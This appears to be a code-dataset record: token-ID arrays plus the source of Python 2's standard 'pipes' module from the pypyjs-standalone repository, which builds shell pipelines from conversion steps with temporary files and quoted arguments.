267,
327,
267,
27614,
275,
291,
423,
2700,
343,
267,
327,
1642,
20901,
2005,
4465,
663,
402,
2385,
626,
787,
19762,
3943,
4640,
7,
267,
27614,
8,
32407,
1494,
63,
1291,
9,
267,
27614,
342,
267,
327,
2066,
20901,
314,
445,
1350,
1627,
701,
314,
922,
12,
16041,
24218,
14,
267,
27614,
8,
277,
14,
21227,
14,
17918,
9,
267,
27614,
342,
267,
327,
267,
327,
1240,
3550,
63,
25644,
63,
10013,
63,
9427,
1062,
367,
4036,
26571,
1911,
687,
267,
327,
30865,
423,
2087,
423,
21200,
14,
221,
961,
12821,
1006,
314,
3423,
14,
267,
291,
423,
4208,
480,
9427,
531,
267,
327,
267,
327,
5669,
314,
805,
485,
32407,
63,
2758,
63,
4229,
342,
465,
6358,
314,
267,
327,
4854,
402,
314,
6036,
379,
769,
14,
267,
291,
423,
4208,
63,
2758,
63,
4229,
342,
267,
27614,
342,
267,
327,
267,
327,
7389,
314,
1083,
1817,
12,
5893,
314,
4811,
367,
314,
267,
327,
4046,
2018,
5118,
35,
805,
17995,
12,
1314,
787,
4224,
267,
327,
701,
3550,
63,
25644,
63,
1593,
63,
765,
1252,
267,
27614,
360,
1986,
1611,
3767,
6172,
485,
32407,
63,
2474,
8607,
275,
469,
358,
267,
291,
423,
4208,
480,
765,
531,
267,
27614,
360,
221,
2420,
63,
32407,
63,
2758,
401,
485,
32407,
63,
2758,
12,
19357,
40,
63,
5568,
13990,
12,
5962,
1386,
358,
267,
27614,
360,
221,
469,
8084,
12,
5962,
12,
378,
12,
5962,
93,
259,
13505,
428,
484,
8395,
627,
6217,
267,
27614,
360,
93,
10784,
267,
27614,
342,
267,
327,
267,
327,
4465,
4205,
14,
267,
13526,
275,
291,
14,
21227,
14,
362,
63,
578,
63,
354,
342,
267,
5262,
275,
291,
423,
4429,
379,
63,
513,
63,
5559,
59,
797,
61,
267,
27614,
7863,
692,
7843,
63,
29241,
63,
4612,
2356,
650,
358,
267,
27614,
342,
267,
27614,
360,
1986,
2702,
1611,
2377,
6172,
485,
32407,
63,
578,
63,
318,
275,
469,
358,
267,
27614,
360,
221,
1611,
2377,
6172,
63,
5211,
63,
8727,
12,
358,
267,
27614,
360,
221,
2071,
83,
21891,
450,
13526,
9,
267,
27614,
360,
221,
5962,
12,
358,
267,
27614,
360,
221,
446,
17,
12,
358,
267,
27614,
360,
221,
485,
32407,
63,
2474,
12,
358,
267,
27614,
360,
221,
5962,
12,
5962,
12,
5962,
12,
5962,
358,
267,
27614,
360,
93,
10784,
267,
27614,
342,
267,
27614,
360,
2713,
8816,
8727,
63,
19587,
358,
267,
27614,
360
] |
[
984,
12,
1742,
199,
504,
1275,
492,
1402,
12,
30865,
3246,
421,
199,
533,
24955,
4718,
8524,
8,
785,
304,
272,
485,
533,
63,
498,
275,
283,
88,
7,
272,
485,
2268,
63,
1548,
63,
578,
275,
715,
339,
347,
636,
826,
721,
277,
12,
25581,
304,
267,
291,
14,
21227,
275,
25581,
267,
291,
14,
11286,
275,
25581,
14,
11286,
267,
291,
423,
1820,
63,
6455,
63,
16257,
275,
1052,
267,
291,
423,
1313,
63,
1618,
63,
5351,
63,
5777,
275,
1052,
339,
347,
3371,
63,
3435,
63,
10340,
8,
277,
12,
16286,
304,
267,
986,
339,
347,
2342,
63,
578,
8,
277,
12,
859,
63,
354,
12,
931,
12,
880,
63,
16097,
304,
267,
862,
26,
288,
289,
12,
1788,
12,
16193,
275,
1742,
14,
1623,
63,
578,
8,
578,
63,
354,
12,
931,
9,
267,
871,
3545,
26,
288,
372,
488,
267,
340,
289,
365,
440,
488,
26,
288,
289,
14,
1600,
342,
267,
327,
3390,
626,
2410,
282,
9116,
12096,
12,
2337,
787,
3865,
1275,
647,
267,
327,
436,
1275,
1152,
1584,
543,
314,
2011,
9593,
14,
221,
710,
1233,
2348,
25749,
641,
267,
327,
1742,
14,
1623,
63,
578,
342,
4355,
1958,
314,
1275,
1152,
315,
7464,
14,
267,
340,
16193,
59,
16,
61,
440,
315,
880,
63,
16097,
26,
288,
372,
488,
267,
372,
1788,
339,
347,
8775,
63,
1313,
8,
277,
304,
267,
291,
423,
1313,
807,
275,
1052,
267,
291,
423,
4208,
480,
7112,
466,
531,
339,
347,
485,
2700,
343,
8,
277,
12,
4052,
9280,
267,
291,
423,
70,
14,
952,
8,
10058,
435,
1557,
78,
358,
339,
347,
485,
362,
369,
897,
453,
8,
277,
12,
730,
304,
267,
327,
282,
4067,
2348,
365,
282,
6519,
14,
221,
8749,
3622,
652,
1,
22901,
9,
267,
372,
291,
423,
1313,
807,
59,
466,
61,
339,
347,
485,
1117,
63,
7112,
63,
466,
8,
277,
12,
9253,
304,
267,
340,
3666,
1397,
1228,
8,
683,
12,
1402,
14,
22231,
804,
9,
1467,
503,
9253,
14,
354,
508,
283,
2809,
4270,
358,
355,
436,
9253,
440,
315,
291,
423,
1313,
807,
304,
288,
1967,
275,
822,
8,
277,
423,
1313,
807,
9,
288,
291,
423,
1313,
807,
59,
683,
61,
275,
1967,
339,
347,
2218,
63,
1365,
63,
475,
63,
70,
8,
277,
304,
267,
291,
14,
7112,
63,
1313,
342,
267,
327,
267,
327,
710,
892,
859,
911,
1172,
282,
485,
32407,
63,
2758,
342,
805,
626,
23192,
267,
327,
2251,
687,
314,
30865,
6701,
12,
436,
626,
4882,
2005,
3272,
1233,
315,
267,
327,
314,
859,
14,
221,
961,
3272,
1233,
365,
3715,
315,
9978,
12717,
267,
327,
3423,
12,
325,
14,
71,
14,
1373,
1126,
4413,
14,
221,
710,
3423,
787,
298,
4429,
379,
2,
267,
327,
701,
13401,
315,
282,
9483,
1240,
370,
1924,
1163,
14,
267,
327,
267,
327,
961,
365,
9848,
3715,
315,
2877,
6036,
379,
5548,
12,
10298,
641,
340,
781,
267,
327,
883,
886,
652,
737,
492,
13,
521,
503,
340,
781,
1471,
3618,
367,
485,
32407,
63,
2758,
342,
370,
267,
327,
5647,
2739,
543,
314,
665,
3667,
30,
2251,
14,
221,
961,
365,
4346,
2952,
781,
267,
327,
1929,
314,
1338,
402,
314,
4952,
5262,
315,
1865,
370,
1900,
314,
267,
327,
665,
3667,
283,
4869,
8423,
626,
781,
1443,
1172,
370,
986,
370,
485,
32407,
63,
2758,
1252,
267,
327,
267,
327,
710,
2569,
2877,
283,
4429,
379,
63,
513,
63,
5559,
7,
2974,
3509,
267,
327,
314,
4854,
402,
3520,
2877,
6036,
379,
5548,
12,
465,
282,
1059,
626,
10557,
314,
267,
327,
1240,
370,
886,
12,
340,
1263,
14,
267,
291,
423,
4429,
379,
63,
513,
63,
5559,
275,
788,
1332,
1647,
9,
773,
12,
16,
3196,
283,
1332,
1647,
9,
773,
12,
16,
9,
418,
267,
327,
267,
27614,
275,
291,
423,
2700,
343,
267,
327,
1642,
20901,
2005,
4465,
663,
402,
2385,
626,
787,
19762,
3943,
4640,
7,
267,
27614,
8,
32407,
1494,
63,
1291,
9,
267,
27614,
342,
267,
327,
2066,
20901,
314,
445,
1350,
1627,
701,
314,
922,
12,
16041,
24218,
14,
267,
27614,
8,
277,
14,
21227,
14,
17918,
9,
267,
27614,
342,
267,
327,
267,
327,
1240,
3550,
63,
25644,
63,
10013,
63,
9427,
1062,
367,
4036,
26571,
1911,
687,
267,
327,
30865,
423,
2087,
423,
21200,
14,
221,
961,
12821,
1006,
314,
3423,
14,
267,
291,
423,
4208,
480,
9427,
531,
267,
327,
267,
327,
5669,
314,
805,
485,
32407,
63,
2758,
63,
4229,
342,
465,
6358,
314,
267,
327,
4854,
402,
314,
6036,
379,
769,
14,
267,
291,
423,
4208,
63,
2758,
63,
4229,
342,
267,
27614,
342,
267,
327,
267,
327,
7389,
314,
1083,
1817,
12,
5893,
314,
4811,
367,
314,
267,
327,
4046,
2018,
5118,
35,
805,
17995,
12,
1314,
787,
4224,
267,
327,
701,
3550,
63,
25644,
63,
1593,
63,
765,
1252,
267,
27614,
360,
1986,
1611,
3767,
6172,
485,
32407,
63,
2474,
8607,
275,
469,
358,
267,
291,
423,
4208,
480,
765,
531,
267,
27614,
360,
221,
2420,
63,
32407,
63,
2758,
401,
485,
32407,
63,
2758,
12,
19357,
40,
63,
5568,
13990,
12,
5962,
1386,
358,
267,
27614,
360,
221,
469,
8084,
12,
5962,
12,
378,
12,
5962,
93,
259,
13505,
428,
484,
8395,
627,
6217,
267,
27614,
360,
93,
10784,
267,
27614,
342,
267,
327,
267,
327,
4465,
4205,
14,
267,
13526,
275,
291,
14,
21227,
14,
362,
63,
578,
63,
354,
342,
267,
5262,
275,
291,
423,
4429,
379,
63,
513,
63,
5559,
59,
797,
61,
267,
27614,
7863,
692,
7843,
63,
29241,
63,
4612,
2356,
650,
358,
267,
27614,
342,
267,
27614,
360,
1986,
2702,
1611,
2377,
6172,
485,
32407,
63,
578,
63,
318,
275,
469,
358,
267,
27614,
360,
221,
1611,
2377,
6172,
63,
5211,
63,
8727,
12,
358,
267,
27614,
360,
221,
2071,
83,
21891,
450,
13526,
9,
267,
27614,
360,
221,
5962,
12,
358,
267,
27614,
360,
221,
446,
17,
12,
358,
267,
27614,
360,
221,
485,
32407,
63,
2474,
12,
358,
267,
27614,
360,
221,
5962,
12,
5962,
12,
5962,
12,
5962,
358,
267,
27614,
360,
93,
10784,
267,
27614,
342,
267,
27614,
360,
2713,
8816,
8727,
63,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
1,
1,
1,
1,
1,
1,
1,
1
] |
jedie/pypyjs-standalone
|
website/js/pypy.js-0.3.0/lib/modules/pipes.py
|
179
|
9582
|
"""Conversion pipeline templates.
The problem:
------------
Suppose you have some data that you want to convert to another format,
such as from GIF image format to PPM image format. Maybe the
conversion involves several steps (e.g. piping it through compress or
uuencode). Some of the conversion steps may require that their input
is a disk file, others may be able to read standard input; similar for
their output. The input to the entire conversion may also be read
from a disk file or from an open file, and similar for its output.
The module lets you construct a pipeline template by sticking one or
more conversion steps together. It will take care of creating and
removing temporary files if they are necessary to hold intermediate
data. You can then use the template to do conversions from many
different sources to many different destinations. The temporary
file names used are different each time the template is used.
The templates are objects so you can create templates for many
different conversion steps and store them in a dictionary, for
instance.
Directions:
-----------
To create a template:
t = Template()
To add a conversion step to a template:
t.append(command, kind)
where kind is a string of two characters: the first is '-' if the
command reads its standard input or 'f' if it requires a file; the
second likewise for the output. The command must be valid /bin/sh
syntax. If input or output files are required, they are passed as
$IN and $OUT; otherwise, it must be possible to use the command in
a pipeline.
To add a conversion step at the beginning:
t.prepend(command, kind)
To convert a file to another file using a template:
sts = t.copy(infile, outfile)
If infile or outfile are the empty string, standard input is read or
standard output is written, respectively. The return value is the
exit status of the conversion pipeline.
To open a file for reading or writing through a conversion pipeline:
fp = t.open(file, mode)
where mode is 'r' to read the file, or 'w' to write it -- just like
for the built-in function open() or for os.popen().
To create a new template object initialized to a given one:
t2 = t.clone()
""" # '
import re
import os
import tempfile
import string
__all__ = ["Template"]
# Conversion step kinds
FILEIN_FILEOUT = 'ff' # Must read & write real files
STDIN_FILEOUT = '-f' # Must write a real file
FILEIN_STDOUT = 'f-' # Must read a real file
STDIN_STDOUT = '--' # Normal pipeline element
SOURCE = '.-' # Must be first, writes stdout
SINK = '-.' # Must be last, reads stdin
stepkinds = [FILEIN_FILEOUT, STDIN_FILEOUT, FILEIN_STDOUT, STDIN_STDOUT, \
SOURCE, SINK]
class Template:
"""Class representing a pipeline template."""
def __init__(self):
"""Template() returns a fresh pipeline template."""
self.debugging = 0
self.reset()
def __repr__(self):
"""t.__repr__() implements repr(t)."""
return '<Template instance, steps=%r>' % (self.steps,)
def reset(self):
"""t.reset() restores a pipeline template to its initial state."""
self.steps = []
def clone(self):
"""t.clone() returns a new pipeline template with identical
initial state as the current one."""
t = Template()
t.steps = self.steps[:]
t.debugging = self.debugging
return t
def debug(self, flag):
"""t.debug(flag) turns debugging on or off."""
self.debugging = flag
def append(self, cmd, kind):
"""t.append(cmd, kind) adds a new step at the end."""
if type(cmd) is not type(''):
raise TypeError, \
'Template.append: cmd must be a string'
if kind not in stepkinds:
raise ValueError, \
'Template.append: bad kind %r' % (kind,)
if kind == SOURCE:
raise ValueError, \
'Template.append: SOURCE can only be prepended'
if self.steps and self.steps[-1][1] == SINK:
raise ValueError, \
'Template.append: already ends with SINK'
if kind[0] == 'f' and not re.search(r'\$IN\b', cmd):
raise ValueError, \
'Template.append: missing $IN in cmd'
if kind[1] == 'f' and not re.search(r'\$OUT\b', cmd):
raise ValueError, \
'Template.append: missing $OUT in cmd'
self.steps.append((cmd, kind))
def prepend(self, cmd, kind):
"""t.prepend(cmd, kind) adds a new step at the front."""
if type(cmd) is not type(''):
raise TypeError, \
'Template.prepend: cmd must be a string'
if kind not in stepkinds:
raise ValueError, \
'Template.prepend: bad kind %r' % (kind,)
if kind == SINK:
raise ValueError, \
'Template.prepend: SINK can only be appended'
if self.steps and self.steps[0][1] == SOURCE:
raise ValueError, \
'Template.prepend: already begins with SOURCE'
if kind[0] == 'f' and not re.search(r'\$IN\b', cmd):
raise ValueError, \
'Template.prepend: missing $IN in cmd'
if kind[1] == 'f' and not re.search(r'\$OUT\b', cmd):
raise ValueError, \
'Template.prepend: missing $OUT in cmd'
self.steps.insert(0, (cmd, kind))
def open(self, file, rw):
"""t.open(file, rw) returns a pipe or file object open for
reading or writing; the file is the other end of the pipeline."""
if rw == 'r':
return self.open_r(file)
if rw == 'w':
return self.open_w(file)
raise ValueError, \
'Template.open: rw must be \'r\' or \'w\', not %r' % (rw,)
def open_r(self, file):
"""t.open_r(file) and t.open_w(file) implement
t.open(file, 'r') and t.open(file, 'w') respectively."""
if not self.steps:
return open(file, 'r')
if self.steps[-1][1] == SINK:
raise ValueError, \
'Template.open_r: pipeline ends width SINK'
cmd = self.makepipeline(file, '')
return os.popen(cmd, 'r')
def open_w(self, file):
if not self.steps:
return open(file, 'w')
if self.steps[0][1] == SOURCE:
raise ValueError, \
'Template.open_w: pipeline begins with SOURCE'
cmd = self.makepipeline('', file)
return os.popen(cmd, 'w')
def copy(self, infile, outfile):
return os.system(self.makepipeline(infile, outfile))
def makepipeline(self, infile, outfile):
cmd = makepipeline(infile, self.steps, outfile)
if self.debugging:
print cmd
cmd = 'set -x; ' + cmd
return cmd
def makepipeline(infile, steps, outfile):
# Build a list with for each command:
# [input filename or '', command string, kind, output filename or '']
list = []
for cmd, kind in steps:
list.append(['', cmd, kind, ''])
#
# Make sure there is at least one step
#
if not list:
list.append(['', 'cat', '--', ''])
#
# Take care of the input and output ends
#
[cmd, kind] = list[0][1:3]
if kind[0] == 'f' and not infile:
list.insert(0, ['', 'cat', '--', ''])
list[0][0] = infile
#
[cmd, kind] = list[-1][1:3]
if kind[1] == 'f' and not outfile:
list.append(['', 'cat', '--', ''])
list[-1][-1] = outfile
#
# Invent temporary files to connect stages that need files
#
garbage = []
for i in range(1, len(list)):
lkind = list[i-1][2]
rkind = list[i][2]
if lkind[1] == 'f' or rkind[0] == 'f':
(fd, temp) = tempfile.mkstemp()
os.close(fd)
garbage.append(temp)
list[i-1][-1] = list[i][0] = temp
#
for item in list:
[inf, cmd, kind, outf] = item
if kind[1] == 'f':
cmd = 'OUT=' + quote(outf) + '; ' + cmd
if kind[0] == 'f':
cmd = 'IN=' + quote(inf) + '; ' + cmd
if kind[0] == '-' and inf:
cmd = cmd + ' <' + quote(inf)
if kind[1] == '-' and outf:
cmd = cmd + ' >' + quote(outf)
item[1] = cmd
#
cmdlist = list[0][1]
for item in list[1:]:
[cmd, kind] = item[1:3]
if item[0] == '':
if 'f' in kind:
cmd = '{ ' + cmd + '; }'
cmdlist = cmdlist + ' |\n' + cmd
else:
cmdlist = cmdlist + '\n' + cmd
#
if garbage:
rmcmd = 'rm -f'
for file in garbage:
rmcmd = rmcmd + ' ' + quote(file)
trapcmd = 'trap ' + quote(rmcmd + '; exit') + ' 1 2 3 13 14 15'
cmdlist = trapcmd + '\n' + cmdlist + '\n' + rmcmd
#
return cmdlist
# Reliably quote a string as a single argument for /bin/sh
# Safe unquoted
_safechars = frozenset(string.ascii_letters + string.digits + '@%_-+=:,./')
def quote(file):
"""Return a shell-escaped version of the file string."""
for c in file:
if c not in _safechars:
break
else:
if not file:
return "''"
return file
# use single quotes, and put single quotes into double quotes
# the string $'b is then quoted as '$'"'"'b'
return "'" + file.replace("'", "'\"'\"'") + "'"
|
mit
|
[
624,
20403,
7679,
7009,
14,
199,
199,
1918,
5160,
26,
199,
4559,
199,
199,
4710,
4070,
1265,
1172,
2005,
666,
626,
1265,
2934,
370,
3957,
370,
4573,
1475,
12,
199,
10180,
465,
687,
598,
4656,
1834,
1475,
370,
510,
10793,
1834,
1475,
14,
221,
23038,
314,
199,
15083,
25613,
2310,
9978,
7124,
334,
69,
14,
71,
14,
7305,
316,
652,
4012,
11029,
503,
199,
17031,
2143,
680,
221,
6601,
402,
314,
8603,
7124,
1443,
4409,
626,
3932,
1324,
199,
374,
282,
4543,
570,
12,
11789,
1443,
506,
7688,
370,
1586,
4465,
1324,
27,
8545,
367,
199,
1589,
723,
1072,
14,
221,
710,
1324,
370,
314,
8039,
8603,
1443,
2597,
506,
1586,
199,
504,
282,
4543,
570,
503,
687,
376,
1551,
570,
12,
436,
8545,
367,
2399,
1072,
14,
199,
199,
1918,
859,
19083,
1265,
6982,
282,
7679,
1978,
701,
29404,
316,
1373,
503,
199,
6878,
8603,
7124,
10451,
14,
221,
2779,
911,
5452,
10296,
402,
6425,
436,
199,
264,
7665,
7937,
1584,
340,
2985,
787,
5784,
370,
10266,
13197,
199,
576,
14,
221,
2047,
883,
2066,
675,
314,
1978,
370,
886,
24796,
687,
5002,
199,
14020,
5274,
370,
5002,
3365,
2053,
9511,
14,
221,
710,
7937,
199,
493,
1561,
1202,
787,
3365,
1924,
900,
314,
1978,
365,
1202,
14,
199,
199,
1918,
7009,
787,
2251,
880,
1265,
883,
1218,
7009,
367,
5002,
199,
14020,
8603,
7124,
436,
3877,
3062,
315,
282,
2600,
12,
367,
199,
842,
14,
421,
199,
1341,
14998,
26,
199,
13715,
199,
199,
1378,
1218,
282,
1978,
26,
272,
307,
275,
5458,
342,
199,
199,
1378,
1050,
282,
8603,
3650,
370,
282,
1978,
26,
2043,
307,
14,
740,
8,
1531,
12,
4928,
9,
199,
4509,
4928,
365,
282,
1059,
402,
2877,
4110,
26,
314,
1642,
365,
10791,
340,
314,
199,
1531,
11597,
2399,
4465,
1324,
503,
283,
70,
7,
340,
652,
5074,
282,
570,
27,
314,
199,
4375,
2839,
2605,
367,
314,
1072,
14,
710,
1414,
1471,
506,
1686,
1182,
1393,
15,
609,
199,
7093,
14,
221,
982,
1324,
503,
1072,
1584,
787,
1415,
12,
2985,
787,
3032,
465,
199,
4,
568,
436,
2672,
1877,
27,
4257,
12,
652,
1471,
506,
221,
3962,
370,
675,
314,
1414,
315,
199,
65,
7679,
14,
199,
199,
1378,
1050,
282,
8603,
3650,
737,
314,
9608,
26,
2043,
307,
14,
20637,
8,
1531,
12,
4928,
9,
199,
199,
1378,
3957,
282,
570,
370,
4573,
570,
1808,
282,
1978,
26,
523,
23014,
275,
307,
14,
1574,
8,
13880,
12,
4386,
9,
199,
3917,
14734,
503,
4386,
787,
314,
2701,
1059,
12,
4465,
1324,
365,
1586,
503,
199,
6807,
1072,
365,
5313,
12,
17342,
14,
221,
710,
372,
574,
365,
314,
199,
2224,
2004,
402,
314,
8603,
7679,
14,
199,
199,
1378,
1551,
282,
570,
367,
7664,
503,
3575,
4012,
282,
8603,
7679,
26,
2043,
4090,
275,
307,
14,
1490,
8,
493,
12,
818,
9,
199,
4509,
818,
365,
283,
82,
7,
370,
1586,
314,
570,
12,
503,
283,
87,
7,
370,
2218,
652,
1553,
2951,
2839,
199,
509,
314,
6137,
13,
262,
805,
1551,
342,
503,
367,
747,
14,
12207,
1252,
199,
199,
1378,
1218,
282,
892,
1978,
909,
10038,
370,
282,
1627,
1373,
26,
2043,
307,
18,
275,
307,
14,
6311,
342,
199,
624,
32542,
327,
283,
421,
199,
646,
295,
199,
646,
747,
199,
646,
5549,
199,
646,
1059,
199,
199,
363,
452,
363,
275,
2097,
4231,
937,
199,
199,
3,
1448,
1023,
3650,
24241,
199,
199,
3817,
568,
63,
3817,
1877,
275,
283,
556,
7,
7861,
327,
9498,
1586,
1253,
2218,
3363,
1584,
199,
18472,
568,
63,
3817,
1877,
221,
275,
2475,
70,
7,
7861,
327,
9498,
2218,
282,
3363,
570,
199,
3817,
568,
63,
13850,
221,
275,
283,
70,
15668,
7861,
327,
9498,
1586,
282,
3363,
570,
199,
18472,
568,
63,
13850,
257,
275,
2850,
7,
7861,
327,
11514,
7679,
1819,
199,
10187,
260,
275,
1987,
15668,
7861,
327,
9498,
506,
1642,
12,
14511,
3839,
199,
51,
12394,
3698,
275,
2475,
3530,
7861,
327,
9498,
506,
2061,
12,
11597,
9009,
199,
199,
1597,
2051,
18212,
275,
359,
3817,
568,
63,
3817,
1877,
12,
30118,
568,
63,
3817,
1877,
12,
13024,
568,
63,
13850,
12,
30118,
568,
63,
13850,
12,
971,
1467,
25470,
12,
428,
12394,
61,
421,
199,
533,
5458,
26,
272,
408,
2543,
6144,
282,
7679,
1978,
1041,
339,
347,
636,
826,
721,
277,
304,
267,
408,
4231,
342,
2529,
282,
17480,
7679,
1978,
1041,
267,
291,
14,
24913,
275,
378,
267,
291,
14,
3958,
342,
339,
347,
636,
2722,
721,
277,
304,
267,
408,
84,
855,
2722,
4533,
9031,
4700,
8,
84,
10477,
267,
372,
2650,
4231,
1256,
12,
7124,
2458,
82,
3524,
450,
334,
277,
14,
5895,
4258,
339,
347,
5305,
8,
277,
304,
267,
408,
84,
14,
3958,
342,
4618,
7944,
282,
7679,
1978,
370,
2399,
2536,
1174,
1041,
267,
291,
14,
5895,
275,
942,
339,
347,
7289,
8,
277,
304,
267,
408,
84,
14,
6311,
342,
2529,
282,
892,
7679,
1978,
543,
13130,
267,
2536,
1174,
465,
314,
1453,
1373,
1041,
267,
307,
275,
5458,
342,
267,
307,
14,
5895,
275,
291,
14,
5895,
5873,
267,
307,
14,
24913,
275,
291,
14,
24913,
267,
372,
307,
339,
347,
3105,
8,
277,
12,
3305,
304,
267,
408,
84,
14,
1757,
8,
4173,
9,
25449,
10201,
641,
503,
2331,
1041,
267,
291,
14,
24913,
275,
3305,
339,
347,
5666,
8,
277,
12,
2088,
12,
4928,
304,
267,
408,
84,
14,
740,
8,
1760,
12,
4928,
9,
9584,
282,
892,
3650,
737,
314,
1284,
1041,
267,
340,
730,
8,
1760,
9,
365,
440,
730,
360,
735,
288,
746,
3146,
12,
971,
2116,
283,
4231,
14,
740,
26,
2088,
1471,
506,
282,
1059,
7,
267,
340,
4928,
440,
315,
20345,
2051,
18212,
26,
288,
746,
1722,
12,
971,
2116,
283,
4231,
14,
740,
26,
4875,
4928,
450,
82,
7,
450,
334,
5091,
4258,
267,
340,
4928,
508,
25470,
26,
288,
746,
1722,
12,
971,
2116,
283,
4231,
14,
740,
26,
25470,
883,
1454,
506,
20247,
7,
267,
340,
291,
14,
5895,
436,
291,
14,
5895,
1988,
17,
1527,
17,
61,
508,
428,
12394,
26,
288,
746,
1722,
12,
971,
2116,
283,
4231,
14,
740,
26,
2575,
11187,
543,
428,
12394,
7
] |
[
20403,
7679,
7009,
14,
199,
199,
1918,
5160,
26,
199,
4559,
199,
199,
4710,
4070,
1265,
1172,
2005,
666,
626,
1265,
2934,
370,
3957,
370,
4573,
1475,
12,
199,
10180,
465,
687,
598,
4656,
1834,
1475,
370,
510,
10793,
1834,
1475,
14,
221,
23038,
314,
199,
15083,
25613,
2310,
9978,
7124,
334,
69,
14,
71,
14,
7305,
316,
652,
4012,
11029,
503,
199,
17031,
2143,
680,
221,
6601,
402,
314,
8603,
7124,
1443,
4409,
626,
3932,
1324,
199,
374,
282,
4543,
570,
12,
11789,
1443,
506,
7688,
370,
1586,
4465,
1324,
27,
8545,
367,
199,
1589,
723,
1072,
14,
221,
710,
1324,
370,
314,
8039,
8603,
1443,
2597,
506,
1586,
199,
504,
282,
4543,
570,
503,
687,
376,
1551,
570,
12,
436,
8545,
367,
2399,
1072,
14,
199,
199,
1918,
859,
19083,
1265,
6982,
282,
7679,
1978,
701,
29404,
316,
1373,
503,
199,
6878,
8603,
7124,
10451,
14,
221,
2779,
911,
5452,
10296,
402,
6425,
436,
199,
264,
7665,
7937,
1584,
340,
2985,
787,
5784,
370,
10266,
13197,
199,
576,
14,
221,
2047,
883,
2066,
675,
314,
1978,
370,
886,
24796,
687,
5002,
199,
14020,
5274,
370,
5002,
3365,
2053,
9511,
14,
221,
710,
7937,
199,
493,
1561,
1202,
787,
3365,
1924,
900,
314,
1978,
365,
1202,
14,
199,
199,
1918,
7009,
787,
2251,
880,
1265,
883,
1218,
7009,
367,
5002,
199,
14020,
8603,
7124,
436,
3877,
3062,
315,
282,
2600,
12,
367,
199,
842,
14,
421,
199,
1341,
14998,
26,
199,
13715,
199,
199,
1378,
1218,
282,
1978,
26,
272,
307,
275,
5458,
342,
199,
199,
1378,
1050,
282,
8603,
3650,
370,
282,
1978,
26,
2043,
307,
14,
740,
8,
1531,
12,
4928,
9,
199,
4509,
4928,
365,
282,
1059,
402,
2877,
4110,
26,
314,
1642,
365,
10791,
340,
314,
199,
1531,
11597,
2399,
4465,
1324,
503,
283,
70,
7,
340,
652,
5074,
282,
570,
27,
314,
199,
4375,
2839,
2605,
367,
314,
1072,
14,
710,
1414,
1471,
506,
1686,
1182,
1393,
15,
609,
199,
7093,
14,
221,
982,
1324,
503,
1072,
1584,
787,
1415,
12,
2985,
787,
3032,
465,
199,
4,
568,
436,
2672,
1877,
27,
4257,
12,
652,
1471,
506,
221,
3962,
370,
675,
314,
1414,
315,
199,
65,
7679,
14,
199,
199,
1378,
1050,
282,
8603,
3650,
737,
314,
9608,
26,
2043,
307,
14,
20637,
8,
1531,
12,
4928,
9,
199,
199,
1378,
3957,
282,
570,
370,
4573,
570,
1808,
282,
1978,
26,
523,
23014,
275,
307,
14,
1574,
8,
13880,
12,
4386,
9,
199,
3917,
14734,
503,
4386,
787,
314,
2701,
1059,
12,
4465,
1324,
365,
1586,
503,
199,
6807,
1072,
365,
5313,
12,
17342,
14,
221,
710,
372,
574,
365,
314,
199,
2224,
2004,
402,
314,
8603,
7679,
14,
199,
199,
1378,
1551,
282,
570,
367,
7664,
503,
3575,
4012,
282,
8603,
7679,
26,
2043,
4090,
275,
307,
14,
1490,
8,
493,
12,
818,
9,
199,
4509,
818,
365,
283,
82,
7,
370,
1586,
314,
570,
12,
503,
283,
87,
7,
370,
2218,
652,
1553,
2951,
2839,
199,
509,
314,
6137,
13,
262,
805,
1551,
342,
503,
367,
747,
14,
12207,
1252,
199,
199,
1378,
1218,
282,
892,
1978,
909,
10038,
370,
282,
1627,
1373,
26,
2043,
307,
18,
275,
307,
14,
6311,
342,
199,
624,
32542,
327,
283,
421,
199,
646,
295,
199,
646,
747,
199,
646,
5549,
199,
646,
1059,
199,
199,
363,
452,
363,
275,
2097,
4231,
937,
199,
199,
3,
1448,
1023,
3650,
24241,
199,
199,
3817,
568,
63,
3817,
1877,
275,
283,
556,
7,
7861,
327,
9498,
1586,
1253,
2218,
3363,
1584,
199,
18472,
568,
63,
3817,
1877,
221,
275,
2475,
70,
7,
7861,
327,
9498,
2218,
282,
3363,
570,
199,
3817,
568,
63,
13850,
221,
275,
283,
70,
15668,
7861,
327,
9498,
1586,
282,
3363,
570,
199,
18472,
568,
63,
13850,
257,
275,
2850,
7,
7861,
327,
11514,
7679,
1819,
199,
10187,
260,
275,
1987,
15668,
7861,
327,
9498,
506,
1642,
12,
14511,
3839,
199,
51,
12394,
3698,
275,
2475,
3530,
7861,
327,
9498,
506,
2061,
12,
11597,
9009,
199,
199,
1597,
2051,
18212,
275,
359,
3817,
568,
63,
3817,
1877,
12,
30118,
568,
63,
3817,
1877,
12,
13024,
568,
63,
13850,
12,
30118,
568,
63,
13850,
12,
971,
1467,
25470,
12,
428,
12394,
61,
421,
199,
533,
5458,
26,
272,
408,
2543,
6144,
282,
7679,
1978,
1041,
339,
347,
636,
826,
721,
277,
304,
267,
408,
4231,
342,
2529,
282,
17480,
7679,
1978,
1041,
267,
291,
14,
24913,
275,
378,
267,
291,
14,
3958,
342,
339,
347,
636,
2722,
721,
277,
304,
267,
408,
84,
855,
2722,
4533,
9031,
4700,
8,
84,
10477,
267,
372,
2650,
4231,
1256,
12,
7124,
2458,
82,
3524,
450,
334,
277,
14,
5895,
4258,
339,
347,
5305,
8,
277,
304,
267,
408,
84,
14,
3958,
342,
4618,
7944,
282,
7679,
1978,
370,
2399,
2536,
1174,
1041,
267,
291,
14,
5895,
275,
942,
339,
347,
7289,
8,
277,
304,
267,
408,
84,
14,
6311,
342,
2529,
282,
892,
7679,
1978,
543,
13130,
267,
2536,
1174,
465,
314,
1453,
1373,
1041,
267,
307,
275,
5458,
342,
267,
307,
14,
5895,
275,
291,
14,
5895,
5873,
267,
307,
14,
24913,
275,
291,
14,
24913,
267,
372,
307,
339,
347,
3105,
8,
277,
12,
3305,
304,
267,
408,
84,
14,
1757,
8,
4173,
9,
25449,
10201,
641,
503,
2331,
1041,
267,
291,
14,
24913,
275,
3305,
339,
347,
5666,
8,
277,
12,
2088,
12,
4928,
304,
267,
408,
84,
14,
740,
8,
1760,
12,
4928,
9,
9584,
282,
892,
3650,
737,
314,
1284,
1041,
267,
340,
730,
8,
1760,
9,
365,
440,
730,
360,
735,
288,
746,
3146,
12,
971,
2116,
283,
4231,
14,
740,
26,
2088,
1471,
506,
282,
1059,
7,
267,
340,
4928,
440,
315,
20345,
2051,
18212,
26,
288,
746,
1722,
12,
971,
2116,
283,
4231,
14,
740,
26,
4875,
